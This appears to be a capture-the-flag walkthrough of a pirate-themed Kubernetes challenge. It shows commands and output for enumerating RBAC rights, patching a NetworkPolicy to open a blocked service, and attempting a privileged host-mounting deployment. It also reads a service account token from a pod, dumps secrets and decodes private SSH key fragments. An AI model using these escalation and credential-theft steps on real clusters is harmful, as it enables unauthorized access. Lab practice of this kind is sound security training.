root@whydah-galley:/mnt# find . -type f
./.cache/crows-nest/shinny-object
./.cache/crows-nest/stern/adventure-gallery
./.cache/crows-nest/flag
./.cache/bow/shark-infested-waters/shark
./.cache/forecastle/bunk/blanket
./.cache/forecastle/secret-compartment/treasure-map-4
./.cache/hold/treasure-chest

A few files, let’s quickly see what we have. One looks to be the first flag, and the other a treasure map, let’s get those two first and then look at the rest.

root@whydah-galley:/mnt# cat ./.cache/crows-nest/flag
ZmxhZ19jdGZ7Qk9BUkRFRF9USEVfTkVGQVJJT1VTX1NISVBfV0hZX0RBSF9ET19USEFUfQ==
root@whydah-galley:/mnt# cat ./.cache/crows-nest/flag | base64 -d ; echo
flag_ctf{BOARDED_THE_NEFARIOUS_SHIP_WHY_DAH_DO_THAT}
root@whydah-galley:/mnt# base64 -d ./.cache/forecastle/secret-compartment/treasure-map-4 ; echo
tUS60nkMIgX3sP65UFXEDIjUJ93cQvfLY0W4eeHrYac2SZ4j8KeSH8wflTUoy88OcFl7f3
JP3oJ1MVVFVrH8L6iNSLcAAAADAQABAAACAACqSW0r/cSXzBHEm4PW2bd3jXA8182fnaQK
UH1I8aTajZw3EP4/FkBP+3IeMQNOjdvsq1hEeeJ5MmjX5U2TUJuY7yzgVA9oIMyQPOTt3D
SjI8i0tvD76pVBxRTXYWCvoXIeLMcRW7ZoTw8Cptgk2CH9eNLKTKp1FpUqu3HwIZ/CzyLw
Ds8Z/pWp/a/L4kFye6iRfocZMQUY0ZVubSrZ1zvlPjdRT/ix4BdECv/FskF72zJ2WBFR5C
zgu41MAldJVahvORfs1GaP0fY6k79+unE+O0Dp9inuWSoynW1cFjAffy09Bcsv53l+I+BV
oZXZvhc5nXtEAnCRUtP44IYKh7EjiJpY+iUibjjkElox2TlgYBRpMwKRuq/Fw3l2vBK8fO
root@whydah-galley:/mnt# find . -type f -exec cat {} \;
eW91LWxvb2stdXAtYXQtdGhlLXNoaW5ueS1vYmplY3QtYW5kLWEtc2VhZ3VsbC1hcHBlYXJzLW91dC1vZi1zdW5saWdodC1kcm9wcGluZy1hLWxpdHRsZS1wcmVzZW50LW9uLXlvdXItZmFjZS5UaGlzLWlzLW5vdC10aGUtcG9vcC1kZWNrLXNjcmFtLXlvdS1mbHlpbmctd3JldGNoIQo=
eW91LWNhbi1zZWUtdGhlLWFkdmVudHVyZS1nYWxsZXJ5LWluLXRoZS1pbmRpYW4tb2NlYW4taWYteW91LWdldC1jbG9zZS1lbm91Z2gteW91LXByb2JhYmx5LWNvdWxkLXNpbmstaXQK
ZmxhZ19jdGZ7Qk9BUkRFRF9USEVfTkVGQVJJT1VTX1NISVBfV0hZX0RBSF9ET19USEFUfQ==
eW91LW11c3QtYmUtY3JhenktdG8tcGV0LWEtc2hhcmsteW91LWhhdmUtbG9zdC15b3VyLWhhbmQtYW5kLWhhdmUtYS1ob29rLW5vdwo=
d293LXRoZXJlLWFyZS1hLWxvdC1vZi1mbGVhcy1vbi10aGlzLWJsYW5rZXQtYW5kLWEtc291cC1zdGFpbi1hdC1sZWFzdC15b3UtaG9wZS1pdC1pcy1hLXNvdXAtc3RhaW4teXVrIQo=
dFVTNjBua01JZ1gzc1A2NVVGWEVESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmMwpKUDNvSjFNVlZGVnJIOEw2aU5TTGNBQUFBREFRQUJBQUFDQUFDcVNXMHIvY1NYekJIRW00UFcyYmQzalhBODE4MmZuYVFLClVIMUk4YVRhalp3M0VQNC9Ga0JQKzNJZU1RTk9qZHZzcTFoRWVlSjVNbWpYNVUyVFVKdVk3eXpnVkE5b0lNeVFQT1R0M0QKU2pJOGkwdHZENzZwVkJ4UlRYWVdDdm9YSWVMTWNSVzdab1R3OENwdGdrMkNIOWVOTEtUS3AxRnBVcXUzSHdJWi9DenlMdwpEczhaL3BXcC9hL0w0a0Z5ZTZpUmZvY1pNUVVZMFpWdWJTcloxenZsUGpkUlQvaXg0QmRFQ3YvRnNrRjcyekoyV0JGUjVDCnpndTQxTUFsZEpWYWh2T1JmczFHYVAwZlk2azc5K3VuRStPMERwOWludVdTb3luVzFjRmpBZmZ5MDlCY3N2NTNsK0krQlYKb1pYWnZoYzVuWHRFQW5DUlV0UDQ0SVlLaDdFamlKcFkraVVpYmpqa0Vsb3gyVGxnWUJScE13S1J1cS9GdzNsMnZCSzhmTw==
YS1tb25rZXktanVtcHMtb3V0LWFuZC1zY3JhdGNoZXMtZmFjZS1hbmQtYml0ZXMteW91ci1ub3NlLW91Y2ghCg==
root@whydah-galley:/mnt# find . -type f -exec base64 -d {} \;
you-look-up-at-the-shinny-object-and-a-seagull-appears-out-of-sunlight-dropping-a-little-present-on-your-face.This-is-not-the-poop-deck-scram-you-flying-wretch!
you-can-see-the-adventure-gallery-in-the-indian-ocean-if-you-get-close-enough-you-probably-could-sink-it
flag_ctf{BOARDED_THE_NEFARIOUS_SHIP_WHY_DAH_DO_THAT}you-must-be-crazy-to-pet-a-shark-you-have-lost-your-hand-and-have-a-hook-now
wow-there-are-a-lot-of-fleas-on-this-blanket-and-a-soup-stain-at-least-you-hope-it-is-a-soup-stain-yuk!
tUS60nkMIgX3sP65UFXEDIjUJ93cQvfLY0W4eeHrYac2SZ4j8KeSH8wflTUoy88OcFl7f3
JP3oJ1MVVFVrH8L6iNSLcAAAADAQABAAACAACqSW0r/cSXzBHEm4PW2bd3jXA8182fnaQK
UH1I8aTajZw3EP4/FkBP+3IeMQNOjdvsq1hEeeJ5MmjX5U2TUJuY7yzgVA9oIMyQPOTt3D
SjI8i0tvD76pVBxRTXYWCvoXIeLMcRW7ZoTw8Cptgk2CH9eNLKTKp1FpUqu3HwIZ/CzyLw
Ds8Z/pWp/a/L4kFye6iRfocZMQUY0ZVubSrZ1zvlPjdRT/ix4BdECv/FskF72zJ2WBFR5C
zgu41MAldJVahvORfs1GaP0fY6k79+unE+O0Dp9inuWSoynW1cFjAffy09Bcsv53l+I+BV
oZXZvhc5nXtEAnCRUtP44IYKh7EjiJpY+iUibjjkElox2TlgYBRpMwKRuq/Fw3l2vBK8fOa-monkey-jumps-out-and-scratches-face-and-bites-your-nose-ouch!

Excellent we now have the first flag, and another treasure map piece. Let’s see what this service account can do now.

root@whydah-galley:/mnt# kubectl get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
arctic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

default
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

indian
Resources                                       Non-Resource URLs                     Resource Names   Verbs
networkpolicies.networking.k8s.io               []                                    []               [get list patch update]
configmaps                                      []                                    []               [get list]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
services                                        []                                    []               [get list]
pods/log                                        []                                    []               [get]

kube-node-lease
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-public
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kyverno
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

north-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

north-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

south-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

south-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs
pods/exec                                       []                                    []               [create]
deployments.apps                                []                                    []               [get list create patch update delete]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
serviceaccounts                                 []                                    []               [get list]

southern
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]

So that’s two new namespaces we have permissions in, indian where we can tweak network policies and see services - probably will need to make it so we can reach a service, and south-pacific where we can create deployments, exec into created pods and list service accounts. Seems similar to the earlier namespace where we created pods to grab service account tokens, but just for deployments instead. Let’s start with indian.

Indian

root@whydah-galley:/mnt# alias k="kubectl -n indian"
root@whydah-galley:/mnt# k get svc
NAME            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)    AGE
crack-in-hull   ClusterIP   10.101.174.143   <none>        8080/TCP   94m
root@whydah-galley:/mnt# k get netpol -o yaml
apiVersion: v1
items:
- apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    [..SNIP..]
    name: blockade
    namespace: indian
  spec:
    ingress:
    - from:
      - podSelector: {}
    podSelector:
      matchLabels:
        ship: adventure-galley
    policyTypes:
    - Ingress
  status: {}
kind: List
metadata:
  resourceVersion: ""
root@whydah-galley:/mnt# k get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    labels:
      ship: adventure-galley
    name: adventure-galley
    namespace: indian
    [..SNIP..]

As I thought, a network policy is blocking access to the service. The network policy would allow any pods within the same namespace, but we aren’t in that namespace. Luckily, we can patch it. I find the easiest is to just tweak the network policy to just not include the pod in question. If no network policies are applied to a pod, all traffic is allowed :D

root@whydah-galley:/mnt# k edit netpol blockade
error: unable to launch the editor "vi"

sighs A quick apt update; apt install -y vim later.

root@whydah-galley:/mnt# k edit netpol blockade
error: networkpolicies.networking.k8s.io "blockade" is invalid
networkpolicy.networking.k8s.io/blockade edited
root@whydah-galley:/mnt# k get netpol -o yaml
apiVersion: v1
items:
- apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    [..SNIP..]
    name: blockade
    namespace: indian
  spec:
    ingress:
    - from:
      - podSelector: {}
    podSelector:
      matchLabels:
        ship: hello
    policyTypes:
    - Ingress
  status: {}
kind: List
metadata:
  resourceVersion: ""

We’ve just changed adventure-galley to hello in the pod selector, and we can now reach the pod.

root@whydah-galley:/mnt# curl crack-in-hull.indian:8080

<!DOCTYPE html>
<html>
<head>
  <h3>Adventure Galley</h3>
  <meta charset="UTF-8" />
</head>
<body>
  <p>You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.</p>
<div>
  <form method="POST" action="/">
    <input type="text" id="Action" name="a" placeholder="Action"><br>
    <input type="text" id="Object" name="o" placeholder="Object"><br>
    <button>Enter</button>
  </form>
</div>
</body>

Interesting, we need to interact with actions and objects. We also had access to pod logs and config maps for this namespace. Let’s see if either of those can shine a light.

root@whydah-galley:/mnt# k logs adventure-galley
2023/11/08 17:02:17 starting server on :8080
root@whydah-galley:/mnt# k get cm
NAME               DATA   AGE
kube-root-ca.crt   1      109m
options            2      109m
root@whydah-galley:/mnt# k get cm options -o yaml
apiVersion: v1
data:
  action: |
    - "use"
    - "fire"
    - "launch"
    - "throw"
  object: |
    - "digital-parrot-clutching-a-cursed-usb"
    - "rubber-chicken-with-a-pulley-in-the-middle"
    - "cyber-trojan-cracking-cannonball"
    - "hashjack-hypertext-harpoon"
kind: ConfigMap
metadata:
  [..SNIP..]
  name: options
  namespace: indian

OK, we have a list of viable actions and objects now. There’s only 4 a piece, so easy enough to just brute force them all.

root@whydah-galley:/mnt# for a in use fire launch throw; do for o in digital-parrot-clutching-a-cursed-usb rubber-chicken-with-a-pulley-in-the-middle cyber-trojan-cracking-cannonball hashjack-hypertext-harpoon ; do curl -X POST crack-in-hull.indian:8080 -d "a=${a}&o=${o}" ; done; done
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
DIRECT HIT! It looks like something fell out of the hold.
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
root@whydah-galley:/mnt# k logs adventure-galley
2023/11/08 17:02:17 starting server on :8080
2023/11/08 18:12:48 treasure-map-5: qm9IZskNawm5JCxuntCHg2+bPirtqNZcqUV2wWxVmKOKHTc4Y58UESTMiOvvPFFcOuT5vi
F7V5FIgpSEYfMy71CVmGmo0lJQAFZmVDf0PQjiLhYDn/x+MS2viTSzIau8IBu0Bu0rjXIa
DTDOJUsuKRyQ9EIBWduk2S3+d+LqXTx5v2YqIPZ+5q4dpDlmenHN7foEVyC6hHGgmHFgJ2
69HtZ8HWVtkwv+4maQevZCPnm5CpedgmGYX1dIOMXt/4YR4Pr6zK6W9R3Mcv+FJVDMqE3R
Q0v4m+CgvDanbYaULpAAABAQCPM+Hn3eTgx6//vBLEMz7EccyOAKFr/DrYtg+OjLRhZicZ
cYqHvP6uoc9MA3fQK2YCZxFO82MpBYuBnh6ypPoPIn2VhJRlwvz9fd7KtKRZrZgE0WXG9h
eEoqyvsWQj1IU2aZ5mpjG8A8+fNoT7RROR4M8Lr1g7nTMZy922jUWFyFg52AcaMF3jxY2n

And we have another treasure piece. Slowly getting there. The next namespace was the south-pacific with theoretically a similar attack to what we did with the pods earlier to get the service account tokens.

South Pacific

root@whydah-galley:/mnt# alias k="kubectl -n south-pacific"
root@whydah-galley:/mnt# k get sa
NAME          SECRETS   AGE
default       0         113m
port-finder   0         113m
root@whydah-galley:/mnt# k get pods
No resources found in south-pacific namespace.
root@whydah-galley:/mnt# k get deployments
No resources found in south-pacific namespace.

Once again, let’s try with a privileged deployment (you never know) and we can reign it back if we need to.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: testing
  namespace: south-pacific
spec:
  selector:
    matchLabels:
      name: testing
  template:
    metadata:
      labels:
        name: testing
    spec:
      tolerations:
      - key: node-role.kubernetes.io/master
        operator: Exists
        effect: NoSchedule
      hostNetwork: true
      hostPID: true
      containers:
      - name: testing
        image: skybound/net-utils
        imagePullPolicy: IfNotPresent
        args: ["sleep", "100d"]
        securityContext:
          privileged: true
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /

Let’s see how this does.

root@whydah-galley:/tmp# k apply -f deployment.yml
Warning: would violate PodSecurity "restricted:latest": host namespaces (hostNetwork=true, hostPID=true), privileged (container "testing" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "testing" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "testing" must set securityContext.capabilities.drop=["ALL"]), restricted volume types (volume "host" uses restricted volume type "hostPath"), runAsNonRoot != true (pod or container "testing" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "testing" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
deployment.apps/testing created
root@whydah-galley:/tmp# k get pods
No resources found in south-pacific namespace.

It looks to have created, but no pods. That with the warning suggests maybe there is a pod restriction here, the message suggests the restricted standard. This doesn’t necessarily mean that restricted is also enforced as those are two separate annotations in the namespace. This suggests it is using Pod Security Admission though, which is configured in the namespace and we do have access to that.

root@whydah-galley:/tmp# k get ns south-pacific -o yaml
apiVersion: v1
kind: Namespace
metadata:
  [..SNIP..]
  labels:
    kubernetes.io/metadata.name: south-pacific
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
    sea: south-pacific
  name: south-pacific
  resourceVersion: "820"
  uid: a44c9390-fb68-4291-9b88-4dc4136150c5
spec:
  finalizers:
  - kubernetes
status:
  phase: Active

OK, it is also restricted enforced. Nevermind. Let’s downgrade this deployment to meet those standards and re-deploy. I’ll also tweak the service account to be port-finder as I don’t think the default one will do anything - I can come back to it if needed.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: testing
  namespace: south-pacific
spec:
  selector:
    matchLabels:
      name: testing
  template:
    metadata:
      labels:
        name: testing
    spec:
      serviceAccountName: port-finder
      containers:
      - name: testing
        image: skybound/net-utils
        imagePullPolicy: IfNotPresent
        args: ["sleep", "100d"]
        securityContext:
          runAsNonRoot: true
          runAsUser: 1000
          allowPrivilegeEscalation: false
          seccompProfile:
            type: RuntimeDefault
          capabilities:
            drop:
              - ALL
root@whydah-galley:/tmp# vim deployment.yml
root@whydah-galley:/tmp# k apply -f deployment.yml
deployment.apps/testing configured
root@whydah-galley:/tmp# k get pods
NAME                      READY   STATUS              RESTARTS   AGE
testing-6795b54dc8-kdg2n   0/1     ContainerCreating   0          2s

That seems to have worked.

root@whydah-galley:/tmp# k exec -ti testing-6795b54dc8-kdg2n -- cat /var/run/secrets/kubernetes.io/serviceaccount/token; echo
eyJhbGciOiJSUzI1NiIsImtpZCI6IjF3eDByVktBZ1p2aGlORkR0bDFGdm1TT3NkME05amJteGI4bmtPZEl2UmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTI0NzEyLCJpYXQiOjE2OTk5ODg3MTIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzb3V0aC1wYWNpZmljIiwicG9kIjp7Im5hbWUiOiJ0ZXN0aW5nLTY3OTViNTRkYzgta2RnMm4iLCJ1aWQiOiIxNjFmNTZkZi0yMjAxLTQ5NzctYTg0ZS03NDE2NDA1ZTQ1YTQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6InBvcnQtZmluZGVyIiwidWlkIjoiNjJkMzEzZTYtY2NlMC00NDQ1LThiMjctYmQxN2NjYjU4NmFjIn0sIndhcm5hZnRlciI6MTY5OTk5MjMxOX0sIm5iZiI6MTY5OTk4ODcxMiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OnNvdXRoLXBhY2lmaWM6cG9ydC1maW5kZXIifQ.KxRUjUL_HqOfo7vu_0Bno0nqSqRV-CnlMGI_-UyxEwqJi61KcOS3Haa4L4BJIkg5oW4036dm3z7NctPJUcnSL3-bB01q4jUehYcMsIqk8nTXWds5CLyvb0pUXehDvS9gNQsStjUqTqoLjSJ6b7HTS0OldlkEJKBy5sa-uCUP6BT3_E_gDMPnP8bOLSEdZ-2CQPnnysivfXKITEYRP4IQGe_A2TCa6mUctFV_SGJUlfb75_iO_KRhqAPJERTy2o7R5SAYm4jjCxMWSisYdoiFnGNuaAnBKot5bliI8vuNHQSrKZs99H2Rw7XezOIkAyjh_5X4x3oa_s-ubNEPuf0wMw

Although, it does seem to be mssing something… we’ve had map pieces from pretty much every namespace. Maybe this new service account has even more permissions in the current namespace.

root@whydah-galley:/tmp# export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IjF3eDByVktBZ1p2aGlORkR0bDFGdm1TT3NkME05amJteGI4bmtPZEl2UmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTI0NzEyLCJpYXQiOjE2OTk5ODg3MTIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzb3V0aC1wYWNpZmljIiwicG9kIjp7Im5hbWUiOiJ0ZXN0aW5nLTY3OTViNTRkYzgta2RnMm4iLCJ1aWQiOiIxNjFmNTZkZi0yMjAxLTQ5NzctYTg0ZS03NDE2NDA1ZTQ1YTQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6InBvcnQtZmluZGVyIiwidWlkIjoiNjJkMzEzZTYtY2NlMC00NDQ1LThiMjctYmQxN2NjYjU4NmFjIn0sIndhcm5hZnRlciI6MTY5OTk5MjMxOX0sIm5iZiI6MTY5OTk4ODcxMiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OnNvdXRoLXBhY2lmaWM6cG9ydC1maW5kZXIifQ.KxRUjUL_HqOfo7vu_0Bno0nqSqRV-CnlMGI_-UyxEwqJi61KcOS3Haa4L4BJIkg5oW4036dm3z7NctPJUcnSL3-bB01q4jUehYcMsIqk8nTXWds5CLyvb0pUXehDvS9gNQsStjUqTqoLjSJ6b7HTS0OldlkEJKBy5sa-uCUP6BT3_E_gDMPnP8bOLSEdZ-2CQPnnysivfXKITEYRP4IQGe_A2TCa6mUctFV_SGJUlfb75_iO_KRhqAPJERTy2o7R5SAYm4jjCxMWSisYdoiFnGNuaAnBKot5bliI8vuNHQSrKZs99H2Rw7XezOIkAyjh_5X4x3oa_s-ubNEPuf0wMw
root@whydah-galley:/tmp# kubectl get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl --token $TOKEN -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
arctic
Resources                                       Non-Resource URLs                     Resource Names   Verbs

default
Resources                                       Non-Resource URLs                     Resource Names   Verbs

indian
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kube-node-lease
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kube-public
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kyverno
Resources                                       Non-Resource URLs                     Resource Names   Verbs

north-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs

north-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs
services                                        []                                    []               [get list]

south-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs

south-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs
secrets                                         []                                    []               [get list]

southern
Resources                                       Non-Resource URLs                     Resource Names   Verbs

Nevermind, the new token has secrets in the current namespace - and services in north-pacific but that’s less important ;p

root@whydah-galley:/tmp# alias k="kubectl --token $TOKEN -n south-pacific"
root@whydah-galley:/tmp# k get secrets
NAME             TYPE     DATA   AGE
treasure-map-6   Opaque   1      155m
root@whydah-galley:/tmp# k get secrets -o yaml
apiVersion: v1
items:
- apiVersion: v1
  data:
    treasure-map-6: c05iTlViNmxmY3JGcXk0Z3VoYTFBYVdZM20rVzQxZlBXK0xEOWhUdTd0blNEQjd1eXVCU2puL0VlazBPb2hvcGRsVkViMAptUXhsZGJwSWMycXp2TkIveVA4cXV3dnY5NlN5amtWeVF3VU55T0xxZ0pNUDlnQWVSeUhSWnVwNEFuV0ttM21QVDdSRGU3CmZONnMxa0ppanpWT2NBMHhBQUFCQVFEbkNTR3NqSHgvelBQbmNUNkM1MUl5S29zbmJNQWs3b1M4TmQ2blNlM1VuQXdkT1oKcmJacFUvbnN1Q04yK0NYbzVyVVNDWGk1SUU2L2dWVFpKVUdyUElDSVhYS2w2aDhZbUJaaUdVVmsxbHZzalZHWnliMUpFTAp3QndBN3FiQzg5ejFlSFkrMkhLbkdjTnR4am5RM0gwS0hURHpXQS9EN0JCZHlmOXJ3RXFnRm4rRnZBUEMyNm1ONUVhbmM5CkZMdmFpKzBNSkpvT25RTmpRODJ2OGNndlhBeHdiQnlNcFA2MzZzWUZyTWZxZFR6MHF0bnpNUDdzVlhPa2VFcXRsVW4wL3UKUXV0N005K3FQS1NEN0wyd3p5bVpndzNldXU5WXFBbitRcDA5dDlhcVdjZ1VuUExDT0N5ZGpweXhCMVJuWmsyMzN4ZytVTA==
  kind: Secret
  metadata:
    [..SNIP..]
    name: treasure-map-6
    namespace: south-pacific
  type: Opaque
kind: List
metadata:
  resourceVersion: ""
root@whydah-galley:/tmp# base64 -d <<< c05iTlViNmxmY3JGcXk0Z3VoYTFBYVdZM20rVzQxZlBXK0xEOWhUdTd0blNEQjd1eXVCU2puL0VlazBPb2hvcGRsVkViMAptUXhsZGJwSWMycXp2TkIveVA4cXV3dnY5NlN5amtWeVF3VU55T0xxZ0pNUDlnQWVSeUhSWnVwNEFuV0ttM21QVDdSRGU3CmZONnMxa0ppanpWT2NBMHhBQUFCQVFEbkNTR3NqSHgvelBQbmNUNkM1MUl5S29zbmJNQWs3b1M4TmQ2blNlM1VuQXdkT1oKcmJacFUvbnN1Q04yK0NYbzVyVVNDWGk1SUU2L2dWVFpKVUdyUElDSVhYS2w2aDhZbUJaaUdVVmsxbHZzalZHWnliMUpFTAp3QndBN3FiQzg5ejFlSFkrMkhLbkdjTnR4am5RM0gwS0hURHpXQS9EN0JCZHlmOXJ3RXFnRm4rRnZBUEMyNm1ONUVhbmM5CkZMdmFpKzBNSkpvT25RTmpRODJ2OGNndlhBeHdiQnlNcFA2MzZzWUZyTWZxZFR6MHF0bnpNUDdzVlhPa2VFcXRsVW4wL3UKUXV0N005K3FQS1NEN0wyd3p5bVpndzNldXU5WXFBbitRcDA5dDlhcVdjZ1VuUExDT0N5ZGpweXhCMVJuWmsyMzN4ZytVTA== ; echo
sNbNUb6lfcrFqy4guha1AaWY3m+W41fPW+LD9hTu7tnSDB7uyuBSjn/Eek0OohopdlVEb0
mQxldbpIc2qzvNB/yP8quwvv96SyjkVyQwUNyOLqgJMP9gAeRyHRZup4AnWKm3mPT7RDe7
fN6s1kJijzVOcA0xAAABAQDnCSGsjHx/zPPncT6C51IyKosnbMAk7oS8Nd6nSe3UnAwdOZ
rbZpU/nsuCN2+CXo5rUSCXi5IE6/gVTZJUGrPICIXXKl6h8YmBZiGUVk1lvsjVGZyb1JEL
wBwA7qbC89z1eHY+2HKnGcNtxjnQ3H0KHTDzWA/D7BBdyf9rwEqgFn+FvAPC26mN5Eanc9
FLvai+0MJJoOnQNjQ82v8cgvXAxwbByMpP636sYFrMfqdTz0qtnzMP7sVXOkeEqtlUn0/u
Qut7M9+qPKSD7L2wzymZgw3euu9YqAn+Qp09t9aqWcgUnPLCOCydjpyxB1RnZk233xg+UL

That’s another piece. Time to move on to the north-pacific. We are truly conquering these seas.

North Pacific

root@whydah-galley:/tmp# alias k="kubectl --token $TOKEN -n north-pacific"
root@whydah-galley:/tmp# k get svc
NAME            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)   AGE
plot-a-course   ClusterIP   10.109.101.101   <none>        22/TCP    156m
root@whydah-galley:/tmp# k get svc -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Service
  metadata:
    [..SNIP..]
    name: plot-a-course
    namespace: north-pacific
  spec:
    clusterIP: 10.109.101.101
    clusterIPs:
    - 10.109.101.101
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 22
      protocol: TCP
      targetPort: 2222
    selector:
      ship: royal-fortune
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
kind: List
metadata:
  resourceVersion: ""

A service on port 22, SSH? I don’t have nc, or ssh on this container. I guess let’s quickly jump back to one of my images where I will have the tools I need.

root@whydah-galley:/tmp# which ssh
root@whydah-galley:/tmp#
exit
command terminated with exit code 1
swashbyter@fancy:/tmp$ which ssh
swashbyter@fancy:/tmp$ kubectl -n south-atlantic exec -ti testing1 -c testing -- bash
root@k8s-node-0:/# ssh plot-a-course.north-pacific
ssh: Could not resolve hostname plot-a-course.north-pacific: Name or service not known
root@k8s-node-0:/# ssh 10.109.101.101
The authenticity of host '10.109.101.101 (10.109.101.101)' can't be established.
ED25519 key fingerprint is SHA256:KPPUo5wynlcf9jBjx4ONehSZZyESSPB9dZbwIyfFhgI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.109.101.101' (ED25519) to the list of known hosts.
root@10.109.101.101's password:

Of course, I had set the pod to be host network, so resolution wouldn’t work, but we can just direct it at the clusterIP and it does indeed look like SSH. I haven’t seen any resemblance of a password yet 🤔.

After some more enumeration, I realised what I missed… what I keep missing in ControlPlane CTFs. The home directory on the first endpoint you SSH into usually has a few things.

swashbyter@fancy:~$ ls
diary.md  treasure-map-1  treasure-map-7
swashbyter@fancy:~$ cat diary.md
6th November 2023

I've managed to find the first and last piece of the map and I need
to find the remaining pieces. According to the patrons at my local
watering hole, Hashjack once had the map but broke it up across the
Seven Seas. The map piece I've found is base64 encoded so it looks
like I'll need to decode each piece and put them together to gain
access to the Royal Fortune.

Swashbyter

---------------------------------------------------------------------

7th November 2023

By chance I've come across the "Path of the Pirate" that shows the
trail that Hashjack original took to find the Royal Fortune. It can
be seen by plotting the course:

`ssh -F cp_simulator_config -L 8080:localhost:8080 -N bastion`

Swashbyter

---------------------------------------------------------------------

Well, we found pieces 1 and 7. I assume those are the final pieces I need.

swashbyter@fancy:~$ cat treasure-map-1  | base64 -d ; echo
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAsNowP8jlFeB+QA3Lf5nDDkzA8099oOO28e7lGeTsk61mDjQkrHsQ
gxkxb0QpBUMoexivcpKXkwm+nSLxbjUn5IW8TFYh/ygykW8UbMqnuLMQ+cRv2W0dxz8u2Y
jLn2yqDy8lHscr5QUoULSOEVTtp1BLDBIg+xI3TrycehuV9Qak3WkmEn1WXQcdYKhMKDtO
do1XVWNNq7XumsDAavpgT2ykq+hp8ENIUzjgIfSa7fEhC3d2kFB7WLMTPmA1RcO0/D3SdU
ZwkZ/1qlxn7c0L6doW/7REbp31JKOzHyurDrs/mFpi4QyhYsfIaWtn1cKqSW5MumiWJi4b
swashbyter@fancy:~$ cat treasure-map-7  | base64 -d ; echo
33jQhYCfQc7KS5AAABAQDD9j722nJ+q709KXJZYkCwlpVktmKnRQ02x82e718MOe0qWIIS
w/B07uwAr60KYAXRCEjT68h/eMkRC2/t0sZje/XCCksHNIuTjQCC4YbuSfGBcbLy8JM31P
